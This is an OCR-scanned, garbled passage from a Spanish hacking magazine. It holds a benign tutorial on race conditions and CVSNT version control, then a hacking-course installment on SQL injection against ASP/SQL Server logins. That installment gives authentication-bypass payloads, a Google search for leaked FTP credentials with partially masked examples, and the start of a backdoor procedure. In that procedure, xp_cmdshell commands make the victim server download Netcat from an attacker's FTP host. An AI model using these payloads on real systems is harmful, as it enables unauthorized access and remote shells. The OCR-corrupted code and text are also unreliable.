surgir a leer cualquier texto: htip://foro.net-
ting.es. A mayores disponéis de mi pdgina
WEB personal [hitp://'www.netting.es). aun-
que esta bastante desatendida... El tiempo no
da para todo :b

C
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En el proximo namero

Como ya he indicado anteriormente, en
el proximo capitulo del Taller Hack Wi-Fi
seguiremos con la “Disefio e Instalacidn
de una red inalimbrica a medida”. Don-
de nos meteremos va en conceptos de
enrutamiento v otros menesteres. [Estar
atentos!

Pues nada mds por hoy. Nos leemos en el
proximo ndmero de la revista @rroba,

Aqui o5 estaré esperando!
Lin saludo lectores :)
NeTTinG (Enrique Andrade Gonzalez)

Dedicado: a Mi padre, a mi madre y a mi
hermano.

nettinghxc@gmail.com
http://www.wadalbertia.org
http://www.foro.netting.es
http://blog.netting.es
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Saludos a t'ﬂdﬂs, apreciados lecto-
res. Como comentaba en la entrada del
texto que tienes entre las manos, la im-
plantacidn de algun sistema de control de
versiones resulta de vital importancia en
entornos de desarrollo donde participen
varias personas. Es mis, me atreveria a
decir que para una sola persona, este tipo
de sistemas también resultan tiles en ex-
tremo, pues brindan ciertas posibilidades -
de las que hablaremos mas adelante- que
resultan adecuados ain cuando no nece-
sitemos coordinar nuestros esfuerzos con
mds gente.

El problema de la
sinCronizacion

Para comprender mejor qué clase de pro-
blemas puede acarrear la ausencia de un
control de sincronizacion adecuado a la
hora de realizar un proceso, vamos a rea-
lizar uno de los ejercicios mentales que
tanto me gustan. Imaginad que tenéis una
cantidad determinada de dinero, ponga-
mos cien euros, en un fondo comin que
compartis con algdn familiar para realizar
determinadas compras. El dinero lo
guarddis en en vuestra casa, en una caja,
v sobre ella dejdis un papel donde esti
apuntada la cantidad de dinero que hay
en el interior.

Supongamos -al ser un ejercicio mental,
podemos suponer lo que nos dé la gana-
que cuando vamos a hacer una compra,
simplemente miramos la cantidad disponi-
ble v cogemos el dinero para, al volver,
dejar un papel con la nueva cantidad res-
tante, sin fijarnos en si hay otro dato ano-
tado. Asi, si vosotros cogéis dinero y vais
a comprar algo, gastando cinco euros, al
volver dejdis un papel donde pone “95”.
5i mas tarde vuestro familiar va a comprar
ofra cosa y se gasta diez euros, dejard un
papel donde pondra “857. Hasta aqui to-
do bien pero, jy si cogéis dinero a la vez?

Quedando los ochenta y cinco euros,
cogéis dinero y os marchais, v mientras
estais fuera vuestro familiar hace otro tan-
to. Os gastdis quince euros v al volver
dejdis un papel en el que pone “707, pero
vuestro familiar se habia gastado tan sdlo
cinco euros y cuando regresa mads tarde
deja anotado “80” en el papel sobre la ca-
ja. Obviamente, si se tratara de un caso
real, al volver y ver el papel con el *70"
anotado, detectaria el problema, pero en
nuestro ejercicio mental no ocurre asi. Ya
tenemos un problema de sincronizacién.

Un ejemplo real

Ahora, dejando a un lado ejercicios imagi-
nativos extranos, vamos a ver un ejemplo
de cimo la sincronizacién es un proble-

ma muy real en los ordenadores actuales.
Como supongo que todos sabréis, los sis-
temas operativos actuales tienen carac-
teristicas multitarea, esto es, son capaces
de ejecutar simultineamente varias tare-
as, solapando las rafagas de proceso v de
operaciones auxiliares (como comunica-
cién o sincronizacidn). Obviamente, la
multitarea real sélo se puede dar en siste-
mas multiprocesador o multinideo (que,
por otro lado, son cada vez mis comu-
nes), v en el caso de un dnico procesador
tenemos una multitarea aparente, pero
gue “da el pego” de cara al usuario debi-
do a la gran velocidad de reloj de los mi-
croprocesadores actuales.

Centrandonos en el dltimo caso, donde
tenemos un Unico microprocesador, ima-
ginemos la siguiente instruccion en len-
guaje de programacion C.

Lok ;

Por si alguien no lo sabe, dicha operacidn
simplemente incrementa en una unidad la
variable, asumiendo por ejemplo que es
de tipo entero. Seria equivalente a esta
ofra:

iowm §o4 2

Al estar trabajando con un lenguaje de
programacion de alto nivel, como es el
caso de C, esta instruccién no se ejecu-
taria directamente en el procesador, sino
que se descompondria en una serie de
instrucciones mds bdsicas representadas
en lenguaje ensamblador, durante el pro-
ceso de compilacion. Supongamos que la
descomposicion es la siguiente:

; Cargamos en el registro
"R1” el contenido de la di-
reccidn de memoria correspon-
diente

MOV R1,[ i]

# Incrementamos en una unidad
el valor

ADD R1,1

¢ Cargames en la direccién de
memoria el contenide del re-
gistro “R1"

MOV [ i] ,R1

Precisamente por las caracteristicas multi-
tarea de los sistemas actuales, cada pro-
ceso tiene la sensacion de disponer de
todos los recursos de la mdquina para si
mismo, incluyendo el microprocesador.
Obviamente, la realidad es muy distinta,
pues el sistema operativo es quien gestio-
na los recursos, asignandolos a las distin-
tas tareas existentes segiun una serie de
normas dictadas por los algoritmos de
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planificacion. Asi pues, el microprocesa-
dor es un recurso mas, y un proceso pue-
de ser privado de él por distintos motivos:
agotar su tiempo méaximo de permanen-
cia (quantum), ser expulsade a la fuerza
(requisa), etc.

Visto esto, supongamos que estamos eje-
cutando dos programas que actian sobra
una misma variable compartida, v sus ins-
trucciones son las siguientes:

// Programa A
ih+;

/7 Programa B
i=-<1

La descompaosicion en instrucciones mad-
quina seria la siguiente:

: Programa A
MOV R1.[ i]
ADD Rl,1

MOV [i] ;R1

i Programa B
MOV R2,[ i)
SUB R2,1

MOV [ i] ,R2

Supongamos que estas instrucciones se
ejecutan secuencialmente y que la va-
riable “i” tiene inicialmente el valor sie-
te. La evolucion de la memoria seria la
siguiente:

; i=17

MOV R1,[i] ; Rl=7
ADD R1,1 ; R1=B
MOV [ i} +Rl ; RI=8
; i=8

MOV R2,[ i] ; RZ2=8
sUB R2,1 @ R2=T
MOV [ 1] ;R2 : R2=7
poi=t

La ejecucion ha dado el resultado que
pretendiamos obtener. Pero veamos qué
sucederia si durante la ejecucion, el siste-
ma operativo decide conmutar los proce-
so% en el procesador...

¢ i=7, ejecutando procesc A
H:""J er[ i] F R.l":?
i ijRegquisal!, ejecutandos pro-

ceso B
MOV R2,[ i] ; R2=7
SUB R2,1 ; R2=6

MOV [ i] ,R2Z ; RZ=6

; 1=6, pasa a ejecutarse el
proceso A
ADD R1,1 ;
MOV [ i) Rl
;oi=8

Rl=8
; R1=B



La variable “i" finalmente contiene el va-
lor 8, y eso no es en absoluto lo que pre-
tendiamos. Este ejemplo (que representa
las conocidas como “condiciones de ca-
rrera”) es, ni mds ni menos, el origen de
los problemas de sincronizacion que exis-
ten en computacion, los cuales constitu-
yen un campo de estudio muy complejo
e interesante. Aungue no es el objetivo
del presente articulo explicar este aspec-
to, si os adelanto que existen varias solu-
ciones a este problema, tanto en entornos
monoprocesador como multiprocesador.
Como siempre, os recomiendo echar un
vistazo en Internet si estdis interesados en
aprender mas.

Sistemas de control de
versiones

Este problema que acabamos de ver,
sustituyendo la variable por un archi-
vo de cddigo fuente v los programas
por programadores (curiosa sustitu-
cidn, me acaba de venir a la cabeza la
pelicula “Tron” jeje), es bdsicamente
el problema que hace necesaria la
existencia de un mecanismo de con-
trol de versiones. Asi, si dos programa-
dores descargan mediante FTP un
fichero de codigo fuente de un servi-
dor para realizar cambios, a la hora
de subirlo nos encontraremos con
que forzosamente se perderin los
cambios realizados por el que haya
subido el fichero en primer lugar.

Para evitar este tipo de problemas, exis-
ten los denominados sistemas de control
de versiones, de los cuales hay bastantes
implementaciones: CVS (Concurrent Ver-
sioning System), SVMN (Subversion), Baza-
ar, GIT, GNU arch, V5SS (Visual Source
Safe)... y muchos otros. Aunque todos
ellos tienen unas ciertas caracteristicas co-
munes, como son la existencia de un me-
canismo de almacenamiento de los
elementos gestionados, la gestidn de la
modificacion de dichos elementos, o -
muy importante- el almacenamiento de
un histdrico de modificaciones sobre los
elementos, que permite comparar dos
versiones cuales quiera, asi como realizar
regresiones a una concreta.

Segun la arquitectura de almacenamiento
utilizada, podemaos clasificar estos siste-
mas en centralizados (como CV5 y Sub-
version), donde existe un servidor
encargado de gestionar el acceso a los re-
cursos; o bien distribuidos (como GIT o
arch), donde obtenemos una mavor flexi-
bilidad en detrimento de la facilidad de
sincronizacidn. 5i nos fijamos en la mane-
ra de evitar colisiones en la edicién de
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elementos, tenemos sistemas exclusivos
en los que sélo un usuario podrd acceder
a un elemento al mismo tiempo, o (mds
comiin) colaborativos, donde los usuarios
trabajan con copias locales de los elemen-
tos v el sistema gestiona las modificacio-
nes sobre un mismo objeto. Cudl es mas
adecuado depende en gran medida de
cudles sean los requisitos del entorno par-
ticular, aungue lo mas comiin con diferen-
cia es encontrarse sistemas centralizados
v colaborativos.

Si tenemos en cuenta un sistema de este
tipo (centralizado v colaborative), como
por ejemplo SVN o CVS, varias personas
pueden descargarse del repositorio un de-
terminado fichero y trabajar sobre él. A la
hora de realizar el envio del fichero, el sis-
tema se encargara de mezclar los cam-
bios que hayan realizado los usuarios, y
en la gran mayoria de los casos lo hard de
forma automadtica sin causar problemas.
En algunos casos, no obstante, se dard un
conflicto (tipicamente por modificar a la
vez las mismas lineas) y alguien tendrd
que encargarse de solucionarlo a mano.
En cualquier caso, las posibilidades de tra-
bajar sobre las mismas lineas en un mo-
mento dado son bastante inferiores a las
que hay de trabajar sobre un mismo fiche-
ro, por lo que el sistema alivia gran parte
de los problemas que teniamos en ausen-
cia del mismo.

Desplegando un servidor
CVINT

Hace poco, me vi en la necesidad de im-
plantar en mi entorno de trabajo un siste-
ma de control de versiones como el que
hemos comentado, dado que ciertos pa-
quetes de cadigo eran mantenidos v mo-
dificados por cinco personas diferentes
(incluyéndome a mi). Hasta entonces,
nuestro sistema de control de versiones
particular era un intrincado grafo de me-
morias USB que pasaban de mdquina en
maquina dejando tras de si innumerables
versiones diferentes de cada fichero. Con-
forme la necesidad de modificar los pa-
quetes se volvia mayor, la coordinacion a
la hora de realizarlo se tornaba poco me-
nos que infernal, asi que decidimos hacer
algo al respecto,

Un servidor se autoasignd de buen grado
el marrén de encargarse del tema, de for-
ma que comenceé a valorar las distintas
posibilidades que teniamos, sopesando
los pros y los contras. Como ya he co-
mentado, estos sistemas pueden ir desde
lo mas simple hasta algo tremendamente
intrincado, por lo que conviene tener en
cuenta qué es lo que se necesita para no

sobredimensionar el sistema a montar: da-
do que normalmente la complejidad con-
lleva también una mayor dificultad de uso
(como ocurre con GIT).

MNuestras necesidades eran de lo mas basi-
cas, v ademds el entorno de desarrollo
que utilizamos (NetBeans) integra de for-
ma nativa soporte para CVS, por lo que
ése fue el sistema elegido. Por desgracia,
ofra restriccion impuesta por el entorno
era el sistema operative del servidor, un
Windows XP. Asi gue eché un vistazo a
las alternativas disponibles (http://en.wiki-
pedia.org/wiki/Comparison_of_revision_c
ontrol_software) v terminé decantindome
por CVSNT.

CVSNT es un sistema de control de ver-
siones cuyo funcionamiento estd basado
en |y es compatible con) CVS. Es software
libre licenciado bajo GNU GPL, si bien
estd patrocinado por la empresa March
Hare Software, y es compatible de forma
nativa con diversos sistemas operativos,
entre ellos Linux y Windows. Ademis, in-
corpora una serie de interesantes carac-
teristicas que hacen del sistema algo
hastante mds avanzado que un simple
CVS, entre ellas:

Control de acceso para provectos y ra-
mas.

Auditado y analisis de métricas automa-
tico en una base de datos SQL.
Autenticacion con Active Directory.
Seguimiento exhaustivo de los cambios.
Sincronizacion de repositorios integrada.

En nuestro caso, la mayoria no vamos a
utilizarlas (de hecho, ni siquiera utilizamos
las ramas), pero es bueno saber que estin
ahi. Asi pues, es el momento de ponerse
manos a la obra con la instalacian.

Instalando CVSNT

Lo primero serd ir a la pdgina web del
software (http://www.march-hare.com/
cvsprofes.asp) v descargar el paquete con
el cliente vy el servidor para el sistema
operativo Windows. Obtendremos un fi-
chero llamado “cvsnt-2.5.03.2382. msi" de
4,2 Mb de peso. Es muy importante com-
probar siempre de alguna manera la inte-
gridad de los ficheros descargados, para
lo cual suelo recomendar usar alguna fun-
cion unidireccional de tipo hash. Para esta
version 2.5.03.2382 (la dltima en el mo-
mento de escribir estas lineas), las sumas
de comprobacién son:

master@blingdenstone: ~5
md5Ssum cvsnt-2.5,03.2382.msi



38bf3691bffd%ac23cd66cef953as
efa. cvsnt-2.5.03.2382 .msi
master@blingdenstone:~$
shalsum cvsnt-2.5.03.2382 .m=si
3b8dlblBf00fTdacd?21e639ca% 67
6£74b08batéc cwvsnt-
2.5.03.2382 . m=1
master@bhlingdenstone: ~5

Para comprobarlo, en sistemas Linux
podéis usar los comandos que vo mismo
he utilizado (md5sum y shalsum), v en
Windows podéis usar programas equiva-
lentes para la linea de comandos, o algin
programa grafico como HashCale (o, me-
jor aun, jJHashCalg, una implementacion [i-
bre que yo mismo he creado, y que
ademas es multiplataforma =P).

Una vez comprobado, podemos proce-
der a instalarlo en nuestra maquina Win-
dows, un proceso muy sencillo. En primer
lugar nos encontraremos con la pantalla
de bienvenida del asistente de instalacion,
seguida de la pantalla con los términos de
licencia del producto, en este caso la
GPL. Después nos encontramos la panta-
lla de seleccion de modo de instalacién vy,
si se selecciona el modo personalizado, la

.jl-rash;calc 'ur..l..i

jHashCalc v.1.2

|Fichero | = | |/home /master/cvsm-2.5.03.2382.msi

- TR

¥l MD2 22c2df4cabal56273 9015 1ded5129661

¥ MD4 611767e945a0304817 87 16ac7dr6ash3

] MD5 3Bbr369 1bffd9dac23c466ce953a5e8a

] SHAL 2bBd1b181007clacd2 1e62 9cafas 7617 4b08h abc

¥|SHA- 256 218aac2f434c2ae2b7 13d68102a%eedebd2 fiSafbcd? 405 61
¥ SHA- 384 7a14a61lcc8ddd0c014e426b6917446ced23 731 14a2 BIc6 26
¥ SHA-512 5369311820933 7deea78346b22354c33 718 1da25e4 1east
| RIPEMD-128 (489ec60314 12a6ba0lE81b7 195045 as

[v] RIPEMD-160 94b4c92f085bdcb60af227b468cda55clfeacbhafd

Tiger 6c88dSb6dasl 1fbds 849dade9bf4a9353b6978dbE 1cdO4c:

v Whirlpoaol Sdd794aebTad4cae222843c 1fcSdeche 4/83b595b3507 192

| Calcular | | Acerca de...

Comprobacion de la infegridad del instalador

J.nerion.es
2 103 101

Calidad, velocidad y personal cualificado.
Claves para el éxito de su negocio.
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de seleccion pormenorizada de los distin-
tos componentes que pueden instalarse.
Tras continuar, comenzara el breve pro-
ceso de instalacion que culminari con la
tipica pantalla de instalacion finalizada, v
el tipico y desesperante mensaje en el
que se nos informa de la necesidad de
reiniciar el equipo.

Configurando el servidor
Una vez instalado, es el momento de

®:

configurar el servidor, para lo cual pulsa-
remos en el acceso directo llamado
“CVSNT Control Panel” en el meni de
programa recién creado. Antes de confi-
gurar ciertos parametros del servidor, de-
bemos detener los dos servicios en
ejecucion con los correspondientes boto-
nes en la primera pantalla del panel de
control.

En la pestana “Repository configuration”

LA IMPLANTACION DE ALGUN SISTE-
MA DE CONTROL DE VERSIONES RE-
SULTA DE VITAL IMPORTANCIA EN
ENTORNOS DE DESARROLLO DONDE
PARTICIPEN VARIAS PERSONAS

debemos crear un nuevo repositorio que
utilizaremos para trabajar con nuestros
proyectos. Al pulsar en el botén “Add”,
nos encontraremos con un formulario
que nos solicitard los datos del reposito-
rio a crear. En “Location” se debe introdu-
cir una ruta del sistema vdlida, por
ejemplo “CA\CVS". Es obligatorio dar un
nombre al repositorio (por ejemplo
“/CV5"), v opcionalmente podemos ana-
dir también una descripcién. Los tres bo-
tones de seleccion deberin estar
activados- (publicar repositorio, reposito-
rio por defecto y online). Al pulsar en el
botén aceptar, el sistema nos advertird
que ¢l repositorio no se encuentra iniciali-
zado, y nos preguntard si queremos que
lo incialice, a lo que debemos responder
afirmativamente.

Ahora que ya tenemos nuestro reposito-
rio, pasamos a la pestana “Server Set-
tings”. En esta seccidn no es necesario
madificar nada, aunque si podéis cambiar
alguno de los pardmetros si os resulta ctil
o adecuado en vuestro caso particular. En
la pestana de “Compatibility Options” de-
bemos cerciorarnos de que la opcidn de
clientes que tienen permitida la conexion
estd establecida en el valor “Any
CVS/CVSNT". En “Plugins” y “Advanced”
tampoco serd necesario tocar nada para
los ejemplos que vamos a ver.

Tras la configuracién, pulsamos en el
botén “Aplicar” v volvemos a la pestana
inicial (“About”) para iniciar de nuevo los
servicios del programa. Si no hay ningdn
problema, estamos en condiciones de
configurar los usuarios que accederdn al
sistema. Para ello, abrimos una terminal
de simbolo del sistema (Inicio -> Ejecutar -
> cmid.exe) v escribimos:

C:\Documents and Settings) De-
ath Master>set cvsroot=:ss-
pi:MENZOBERRANZAN: /CVS

C:\Documents and Settings\De-
ath Master>

Ahora, voy a crear un usuario virtual en el
CV5 llamado “master” que va a estar vin-
culado a mi cuenta real.

C:\Documents and Settings\De-
ath Master:cvs passwd -r "De-



ath Master™ -a master
Adding user master@MENZOBE-
ERANZAN

Hew Password:

Verify Password:

C:\Documents and Settings) De-
ath Master>

S5i guisiéramos anadir mds usuarios al sis-
tema, podriamos hacerlo de dos maneras.
La primera seria crear tantos usuarios en
el sistema operativo anfitrion como dese-
emos tener en el CVS, y vincular las cuen-
tas del servidor a las reales del sistema
con el comando “cvs passwd r <cuen-
ta=", La segunda, mds limpia pero algo
Menos segura, seria asignar mas usuarios
virtuales a un mismo usuario real median-
te el comando “cvs passwd -r <cuenta_re-
al> -a <cuenta_virtual>".

5i nos decidimos por la adicidn de muilti-
ples usuarios reales al sistema, serd con-
veniente ocultarlos de la pantalla de inicio
de sesion para evitar tener un saldn de
IRC al encender o reiniciar el equipo. Pa-
ra ello, debemos ir al editor de registro de
Windows (Inicio = Ejecutar -> regedit) vy
buscar la clave “HKEY_LOCAL_MACHI-
NE/SOFTWARE/Microsoft/Win-
dowsNT/CurrentVersion/Winlogon/Speci
alAccounts/UserList” para, a confinua-
cion, anadir un nuevo valor DWORD con
cada nombre de usuario que queramos
ocultar en el inicio de sesidn.

Configurando el acceso en
NetBeans

Ha llegado el momento de configurar el
acceso en NetBeans, para lo cual iremos
al mend “CVS” y seleccionaremos la op-
cign “Checkout”. Una vez en la pantalla
de configuracion, debemos rellenar los
campos “CV5 Root” y “Password”. El pri-
mero de ellos deberad ser de la forma:

protocolo:usuariofhost:/repo-
gsitorio

En mi caso sera:

:pServer:mas-—
ter@l192.168.0.11:/CVvs

Pulsaremos en “Next” vy, si la autenticacion
se realiza correctamente, podremos realizar
el “Checkout” sobre los distintos madulos
existentes en el repositorio. Es importante
seleccionar una carpeta local en la que se
almacenard la copia local del repositorio (en
mi caso serd “/home/master/CVS"). Como
el nuestro esta, por el momento, vacio, sim-
plemente pulsaremos en “Finish” e ignorare-
mos la sugerencia del entorno de desarrollo
de crear un nuevo proyecto.
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Envie de un nueve propects al CVE

Ahora vamos a subir un proyecto al re-
positorio, para lo cual pulsaremos con
el botén derecho sobre el provecto
NetBeans, vy en el mend “CVS” seleccio-
naremos la opcién “Import into Reposi-
tory”. Una vez seleccionado el sistema
a utilizar (estard almacenado va en el
entorno de desarrollo, al desplegar el
ment podremos verlo en la primera po-
sicion), continuamos y llegamos al
menid de envio, donde debemos escri-
bir un mensaje para la importacion ini-
cial, asi como el nombre de la carpeta
que usaremos en el repositorio.

Tras subir el proyecto, es recomendable
hacer un “Checkout” para descargar el
codigo del servidor y trabajar contra la
version del repositorio local, de forma
que evitemos problemas en la congruen-
cia de los ficheros. Los pasos son exacta-
mente los mismos que usaremos para
descargar un proyecto del servidor: reali-
zar un “Checkout” y abrir el proyecto en
cuestion. Asi de simple.

Trabajando contra el CVS

A partir de ahora, cuando en algin fiche-
ro haya alguna diferencia entre la version
local v la version del servidor, NetBeans
nos avisard cambiando el color del nom-
bre de archive a azul, y anadiendo unos
iconos del mismo color en las rutas logi-
cas que llevan a dicho fichero dentro del
gestor de proyectos. Para saber de qué ti-
po han sido los cambios, podemos pulsar
con el botén derecho sobre el archivo, y
en el mend “CVS" seleccionar la opcidn
“Show Changes”.

Desde el mismo mend de cambios, o

®:

EL SISTEMA OPERATIVO ES QUIEN
GESTIONA LOS RECURSOS, ASIG
NANDOLOS A LAS DISTINTAS TAREAS
EXISTENTES SEGUN UNA SERIE DE
NORMAS DICTADAS POR LOS ALGO-

RITMOS DE PLANIFICACION

bien desde el mend contextual “CVS” de
cada fichero, podemos realizar tres accio-
nes de vital importancia: actualizarlo (“up-
date”) para descargar los cambios del
servidor, enviarlo (“commit”) para que el
servidor tenga los cambios realizados de
forma local, y comparar (“diff”) las versién
local con la existente en el servidor para
ver qué ha cambiado entre ellas.

Otra de las opciones mas dtiles es la de
poder navegar el histérico de cambios pa-
ra un fichero concreto, la cual nos permite
también realizar directamente compara-
ciones entre dos versiones cuales guiera
del mismo, asi como hacer una regresion
a una version concreta con un silo click.
Resulta muy dtil cuando, por ejemplo, de-
seamos generar unos ficheros de salida de
un proceso con una version anterior del
programa para poder tenerlos como refe-
rencia, v mas tarde continuar con el desa-
rrollo en el punto en el gue lo dejamos.
Para hacerlo, simplemente realizamos la
regresion a la version anterior, ejecutamos
el programa, e inmediatamente (y sin es-
perar a que termine la ejecucién), realiza-
mos una actualizacion del fichero y
continuamos escribiendo cédigo.

También conviene tener en cuenta que
las actualizaciones y envios de cddigo no

tienen porqué realizarse fichero a fichero,
pudiendo también hacerse con paguetes
de cddigo o proyectos enteros. Ademads,
cuando realizamos alguna operacion so-
bre varios ficheros, es importante saber
que pueden excluirse determinados fiche-
ros de la operacion. El uso mds tipico es
el de evitar que se envien v reciban los fi-
cheros de configuracidn del proyecto, asi
como los generados durante el proceso
de compilacién, pues consumen ancho
de banda y espacio en el disco del servi-
dor, v no aportan ninguna informacion re-
levante al codigo del proyvecto.

Finalizando

Como habréis podido comprobar, las po-
sibilidades que nos brinda un software de
control de versiones son, adn para los sis-
ternas mds sencillos como el que acaba-
mos de ver, muy interesantes. Como
comentaba al iniciar el articulo, puede re-
sultar dtil incluso para una tinica persona,
pues permite mantener una copia de se-
guridad de todo el codigo, asi como su
historial completo con todas y cada una
de las modificaciones.

Y, siendo asi para desarrollos individuales,
en el caso de trabajar miltiples personas
las ventajas se tornan en aspectos impres-
cindibles. Os aseguro que, una vez habéis
empezado a trabajar en equipo con un
sistema de control de versiones, hacerlo
sin &l resulta absolutamente molesto e im-
praductivo. Al fin v al cabo, este tipo de
herramientas no deben ser mas que ele-
mentos al servicio del programacdor, siste-
mas que faciliten la labor del desarrollo
de software a las personas que, durante
tantas horas, estamos detras de una pan-
talla de ordenador.

Mo quisiera terminar sin antes animaros a
que investiguéis por vuestra cuenta sobre
este mundillo de los sistemas de control
de versiones. Gran cantidad de progra-
mas -principal, aunque no exclusivamente
de software libre- tienen publicados en la
red sus repositorios de desarrollo, de for-
ma que configurar un cliente para que se
conecte v nos permita echar un vistazo al
codigo y los cambios realizados, puede
resultar un ejercicio muy interesante de
aprendizaje. Hay gran cantidad de infor-
macion a vuestro alcance, es vuestra res-
ponsabilidad utilizarla. ;)

jiSaludos!
Ramiro Cano Gémez

death_master@hpn-sec.net
http://omniumpotentior.wordpress.com<
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GURSO de HACKING

Inyeccion de codigo SQL (XIV]
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Usuario: a' OR usuario LIKE
"ksa%"' OR usuario = "b
Clave:

Lo que pretendemos es colarnos como
un usuario cuyo nombre contenga la letra
“a”, por lo que si existe el usuario “admi-
nistrador” podremos colarnos comao él ya
que contiene la “a”.

Quedaria entonces la sentencia SQL asi:

SELECT * FROM usuarios WHERE

usuario = 'a' OR usuarioc LIEE
'$a%" OR usuario 'h' AMD
clawe B

Para facilitaros la comprensién, haremos
la siguiente analogia sobre la sentencia
SO anterior:

valorpl = oRpnenario = Yal"
valor? = "usuarico LIKE "'kag"™
raloarsd =""nsuacico= "'h'~

iFA

valord = e lavre: =

Asi que podemos resumir nuestra senten-
cia SQL en:

HWHEERE
wvalori

SELECT * FROM usuarios
valorl OF wvalor? OR
AND valord

El SQL lo agrupard en:
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Lisdado oo sarvdores FTP
valorl OR walor?Z OR (wvalor3

AND valord)
Si resolvemos la consulta SQL tenemaos;

VACIO OR
(VACIO AND VACIO)
“administrador® OR
“administrador”

*administrador® OR
> WACTD OR
(VACTO) =

Asi pues, logramos colarnos como el
usuario “administrador” sin necesidad de
conocer su clave jtoma va!

De igual modo que hemos empleado un
usuario que contuviera la letra “a”, podria-
mos utilizar un usuario que contuviera un
nimero, quedando la inveccidn asi:

>>> Undernews

YouTube tampoco se salva

1 clicks from fip:/irekreasyo

n:rek0**@ftp.rekreasyon.net

El ingenio es lo que tiene, resulta que aquellos que han colocado videos
en YouTube mediante FTP han colocado también, sin saberlo, las creden-
ciales de acceso a sus FTPs,

Aprovechando la potencia de Google, era posible realizar la siguiente bis-
queda:

site:youtube.com "clicks from ftp @"

Dicha bisqueda ponia a funcionar el motor de Google para localizar, entre
las paginas de YouTube (la popular web de videos on-line), aguellas que
indicaran cémo de cerquita esta el video de la pagina de ofra direccion, en
esle caso dicha direccion no era ni mas ni mencs que la que habian em-
pleado para subir videos otros usuarios.

El resultado mostraba multitud de paginas que contenian lineas como:

22 clicks from ftp:/isiperuhi:inter***@siperuhi.com.honey ...
1 clicks from ftp:/fwww.agenciacriacao.com.br:08041*** @ftp.agencia.

1 clicks from fip://devowebd20:DSPh*** @ftpserver.esmartdesign ...
4 clicks from ftp:/imiembro:caval™ @supernova.sytes.net ...

1 clicks from ftp://nitrojenn:Passwi™*@ftp.nitrojennllc.com ...

3 clicks from ftp:/izafzaf:84292* " @ftp.d1034442-1 ...

Ya os explicamos en la enirega 4 que dicha URL se traduce en:
ftp:/login:password@ip_o_direccion:puerto

En otras palabras, era posible ver las claves de cientos de usuarios en sus
FTPs. Digo “era” porque la gente de YouTube ya ha comegido dicha “indis-
crecion” y ya no muestran dichos datos en la web.

Es curioso, Google adquinio YouTube... y esta es la sequnda noticia de inse-
guridad consecutiva en nuestra seccidn... jdamos nuestra palabra de que
no tenemos nada contra Google! Pero es que no hay que despistarse. ..

Ya que estamos, os recomendamos que vedis el reportaje “El mundo
segin Google®, sin lugar a dudas os hard que pensar:
http:fivideo.google.comivideoplay?docid=-20849197531065627 75&sour-
ceid=docidfeed&hl=es

®:
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Usuario: 1' OF usuario LIEKE
'%2%" OR usuarioc = "3

Clave:

51 existe un usuario que contenga el “2%,
podremos colamos sin problemas... siem-
pre que la pagina ASP no esté adecuada.
mente programada y nos permita el uso
del comodin “%".

Pero al igual que nos podemos encontrar
con una web bien programada, nos pode-
mos encontrar con una programada con
el culo. Yo personalmente me he encon-
trado con perlas programadas como la si-
guiente (os pongo el contenido de un
usuario vilide “jorge” para que lo vedis
mas facilmente):

SELECT * FROM usuarics WHERE
usuaric LIEE "jorge' AHND cla-
ve LIKE 'jorgel:ii’

El lumbrera que ha programado esto no se
ha dado cuenta de que si introducimos
{porque en realidad no estamos inyectando
ni un misero comando SOL) lo siguiente:

Usuario: %
Clave: %

Nos colamos del tiran XDDD ya que se tra-
duce en “acepta cualquier usuario con
cualquier clave” (el quiz de la cuestion estd
en que ha utilizado “LIKE” en vez de *=", lo
que hace una consulta por aproximacion y
no exacta como cabria de esperar).

(@

Y si conocemos un usuario en concreto
(“administrador” por no ir mds lejos, o
“root” si me apurdis jejeje), podremos ha-
cernos pasar por él introduciendo:

Usuario: administrador
Clanrm &

Esto, aunque parezca muy tonto, lo he
visto en la vida real asi que nunca estd de
mas verificar si la web que estamos pro-
bando ha sido igual de “bien” programa-
da que la del “gjemplo” ;=)

Montando una puerta trasera
Hasta el momento hemos conseguido sa-
car mucha informacidn de una base de
datos gracias a la inyeccion de S3QL a
través de algin formulario inseguro. He-
mos aprovechado esa vulnerabilidad
centrandonos en los SQL Server de Mi-
crosoft porque dan mas juego. Y dan mas
juego porque estin mas integrados con el
sistema operativo, cosa que aprovechare-
mos ahora a nuestro favor con el objeto
de montar una puerta Irasera que nos per-
mita hacernos con una linea de coman-
dos en el servidor,

Para ello haremos lo siguiente:

1%) Montar vuestro propio servidor FTP:
Aqui es donde pondremos nuestro progra-
ma que nos permilird abrir la puerta trasera
en el servidor, Servidores FTP hay muchos,
tanto de pago como gratuitos asi que da-
ros una vuelta por www.softonic.com y

descargad el que mas os guste. Ya en la en-
trega 52 os proponiamos, entre ofros, el
Gb FTP Server (que es de los que méds me
gustan).

Una vez montado, cread una carpeta en
vuestro FTP donde pondréis los ficheros
que vamos a colocar eh el servidor vulne-
rable. Cread también un usuario con su
correspondiente contrasena, pongamos
por caso que dichos datos serdn “usuario”
v “clave”.

Si gqueréis anonimizar mas vuesira cone-
xidn, también podéis aprovechar un servi-
dor FTP de por ahi (dicese de uno que
permita al usuario anonymous poner un
fichero en una carpeta temporal, o utilizar
otro servidor que ya tengdis bajo vuestro
control...) donde podais subir el programa
que utilizaremos.

2%) Colocar el programa que creara la
puerta trasera: La puerta trasera la creare-
mos mediante el Netcat, como no. Pero
en esta ocasion os recomendamos utilizar
el Metcat v1.11 dado que la version 1.10
era vulnerable a un buffer overflow. Os
dejamos el fichero en ncl.11ntzip.

Descomprimid el Netcat v copiad el fiche-
ro nc.exe al directorio del FTP que ya
habéis creado.

3%) Subir el Netcat al servidor vulnerable:
Vamos a hacer que el servidor vulnerable
se conecte al servidor FTP que habéis
montado en vuestro PC v que se descar-
gue el fichero.

Mo hace falta que os diga que si tenéis
una ADSL tendréis que abrir el puerto 21
para que el servidor vulnerable pueda co-
nectarse a vosolros, y lampoco os repe-
tiré que hagdis uso de un dominio con
DNS dindmico para “ocultar” vuestra IP
{volveremos a utilizar el dominio
sqldever.no-ip.org como ejemplo).

La técnica que vamos a emplear os la co-
mentamos en la entrega 52. 5i os acorddis
{0 volvéis a leer el articulo), os indicamos
por aquel entonces que la técnica no
servia del todo en el atague que os estd-
bamos explicando (el bug del unicode),
pero que llegaria el dia en que os ser-
viria... v ha llegado.

Bueno, pues invectaremos el siguiente o6-
digo SOQL en el campo vulnerable de la
web, Como veréis son varias lineas, asi
que tendréis que inyectar una a una cada
linea en el orden que os damos:



;7 exec master..xp cmdshell
‘echo open sgldever.no-ip.orqg
ookl ——

‘7o exec master..xp cmdshell
'echo usuario >> ftp.txt'==-
"# exec master..xp cmdshell
echo clave >> ftp.txt'--

; exec master..xp cmdshell
